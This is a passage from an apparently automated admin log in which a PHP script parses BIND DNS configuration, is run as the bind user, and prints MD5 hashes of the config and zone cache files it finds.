//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-06 10:51:46: 

runuser -l bind -s /bin/bash -c '/tmp/pkp558534; rm /tmp/pkp558534'

2026-05-06 10:51:46: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 23fffb551d59be1ba6da9a294544c861
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-06 10:51:46: Establishing a connection
2026-05-06 10:51:47: 

PUT: /tmp/pkp323186

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-06 10:51:47: 

runuser -l bind -s /bin/bash -c '/tmp/pkp323186; rm /tmp/pkp323186'

2026-05-06 10:51:47: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
